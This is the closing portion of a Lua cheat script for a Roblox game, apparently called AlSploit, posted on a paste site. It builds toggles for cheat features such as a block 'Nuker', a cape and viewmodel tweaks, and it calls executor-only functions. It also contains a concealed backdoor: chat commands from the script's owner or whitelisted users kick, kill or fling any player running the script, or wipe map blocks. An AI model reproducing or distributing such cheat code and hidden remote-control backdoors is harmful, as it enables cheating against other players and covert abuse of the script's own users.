  4968. Settings.Nuker.Value = not Settings.Nuker.Value
  4969.  
  4970. if Settings.Nuker.Value == true then
  4971. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4972. end
  4973.  
  4974. if Settings.Nuker.Value == false then
  4975. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4976. end
  4977. end
  4978. end
  4979. end)
  4980. end)
  4981.  
  4982. task.spawn(function()
  4983. local InstanceUI
  4984. local Value = false
  4985.  
  4986. DropDownButton.Activated:Connect(function()
  4987. Value = not Value
  4988.  
  4989. if Value == true then
  4990. InstanceUI = CreateMiniToggle(WorldTab, "BreakOres", Settings.Nuker.BreakOres, LayoutOrder + 2, function(CallBack)
  4991. Settings.Nuker.BreakOres = CallBack
  4992. end)
  4993. end
  4994.  
  4995. if Value == false then
  4996. InstanceUI:Destroy()
  4997. end
  4998. end)
  4999. end)
  5000.  
  5001. task.spawn(function()
  5002. local InstanceUI
  5003. local Value = false
  5004.  
  5005. DropDownButton.Activated:Connect(function()
  5006. Value = not Value
  5007.  
  5008. if Value == true then
  5009. InstanceUI = CreateSlider(WorldTab, "Range", Settings.Nuker.Range, 30, LayoutOrder + 3, function(CallBack)
  5010. Settings.Nuker.Range = CallBack
  5011. end)
  5012. end
  5013.  
  5014. if Value == false then
  5015. InstanceUI:Destroy()
  5016. end
  5017. end)
  5018. end)
  5019. end)
  5020.  
  5021. task.spawn(function()
  5022. local Cape, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Cape", Settings.Cape.Value, function(CallBack)
  5023. Settings.Cape.Value = CallBack
  5024.  
  5025. if Settings.Cape.Value == true then
  5026. task.spawn(function()
  5027. local DecalId = (Settings.Sigma.Value and 13528140280 or 16223063079)
  5028.  
  5029. CreateCape("rbxassetid://" .. DecalId)
  5030.  
  5031. task.spawn(function()
  5032. LocalPlayer.CharacterAdded:Connect(function()
  5033. if IsAlive(LocalPlayer) and not LocalPlayer.Character:FindFirstChild("Cape") and CallBack == true then
  5034. task.wait(0.3)
  5035.  
  5036. CreateCape("rbxassetid://" .. DecalId)
  5037. end
  5038. end)
  5039. end)
  5040. end)
  5041. end
  5042.  
  5043. if Settings.Cape.Value == false then
  5044. task.spawn(function()
  5045. if IsAlive(LocalPlayer) and LocalPlayer.Character:FindFirstChild("Cape") then
  5046. LocalPlayer.Character.Cape:Destroy()
  5047. end
  5048. end)
  5049. end
  5050. end)
  5051.  
  5052. task.spawn(function()
  5053. local InstanceUI
  5054. local Value = false
  5055.  
  5056. DropDownButton.Activated:Connect(function()
  5057. Value = not Value
  5058.  
  5059. if Value == true then
  5060. InstanceUI = CreateKeyBind(WorldTab, Settings.Cape.KeyBind, LayoutOrder + 1, function(CallBack)
  5061. Settings.Cape.KeyBind = CallBack
  5062. end)
  5063. end
  5064.  
  5065. if Value == false then
  5066. InstanceUI:Destroy()
  5067. end
  5068. end)
  5069. end)
  5070.  
  5071. task.spawn(function()
  5072. UserInputService.InputBegan:Connect(function(Input)
  5073. if not UserInputService:GetFocusedTextBox() then
  5074. if Input.KeyCode.Name == Settings.Cape.KeyBind then
  5075. Settings.Cape.Value = not Settings.Cape.Value
  5076.  
  5077. if Settings.Cape.Value == true then
  5078. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  5079. end
  5080.  
  5081. if Settings.Cape.Value == false then
  5082. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  5083. end
  5084. end
  5085. end
  5086. end)
  5087. end)
  5088. end)
  5089.  
  5090. task.spawn(function()
  5091. repeat
  5092. task.wait(1)
  5093.  
  5094. for i, v in next, PlayerService:GetPlayers() do
  5095. for i, v1 in next, WhitelistedUsers do
  5096. v.Chatted:Connect(function(Message)
  5097. if Message:lower() == ";kick default" and (v.Name == Owner or v.Name == v1) and (LocalPlayer.Name ~= Owner or LocalPlayer.Name ~= v1) then
  5098. task.spawn(function()
  5099. LocalPlayer:Kick("Kicked by AlSploit owner")
  5100. end)
  5101. end
  5102.  
  5103. if Message:lower() == ";kill default" and (v.Name == Owner or v.Name == v1) and (LocalPlayer.Name ~= Owner or LocalPlayer.Name ~= v1) then
  5104. task.spawn(function()
  5105. KillHumanoid(0)
  5106. end)
  5107. end
  5108.  
  5109. if Message:lower() == ";lagback default" and (v.Name == Owner or v.Name == v1) and (LocalPlayer.Name ~= Owner or LocalPlayer.Name ~= v1) then
  5110. task.spawn(function()
  5111. LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(99999, 99999, 99999)
  5112. end)
  5113. end
  5114.  
  5115. if Message:lower() == ";breakmap default" and (v.Name == Owner or v.Name == v1) and (LocalPlayer.Name ~= Owner or LocalPlayer.Name ~= v1) then
  5116. task.spawn(function()
  5117. for i, v in next, CollectionService:GetTagged("block") do
  5118. v:Destroy()
  5119. end
  5120. end)
  5121. end
  5122. end)
  5123. end
  5124. end
  5125. until not game
  5126. end)
  5127.  
  5128. task.spawn(function()
  5129. local FrameRateManager = StatsService and StatsService:FindFirstChild("FrameRateManager")
  5130. local RenderAverage = FrameRateManager and FrameRateManager:FindFirstChild("RenderAverage")
  5131.  
  5132. local function GetFramerate()
  5133. return math.round(1000 / RenderAverage:GetValue())
  5134. end
  5135.  
  5136. repeat
  5137. task.wait()
  5138.  
  5139. Fps = GetFramerate()
  5140.  
  5141. LoopWaitTime = (Settings.FpsBooster.Value == true and DecimalRound(((1.5 / Fps) * 4), 3) or 0)
  5142. until not game
  5143. end)
  5144.  
  5145. task.spawn(function()
  5146. local Horizontal = {Value = 15}
  5147. local Vertical = {Value = 5}
  5148. local Depth = {Value = 35}
  5149.  
  5150. local RotationZ = {Value = 5}
  5151.  
  5152. local ViewModel = Camera:FindFirstChild("Viewmodel")
  5153. local C1
  5154.  
  5155. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_DEPTH_OFFSET", -(Depth.Value / 10))
  5156. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", (Horizontal.Value / 10))
  5157. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_VERTICAL_OFFSET", (Vertical.Value / 10))
  5158.  
  5159. C1 = ViewModel.RightHand.RightWrist.C1
  5160.  
  5161. ViewModel.RightHand.RightWrist.C1 = C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad(RotationZ.Value))
  5162.  
  5163. task.spawn(function()
  5164. CreateNotification(5, "AlSploit has loaded!")
  5165. end)
  5166.  
  5167. task.spawn(function()
  5168. setfpscap(999)
  5169. end)
  5170. end)
Add Comment
Please, Sign In to add comment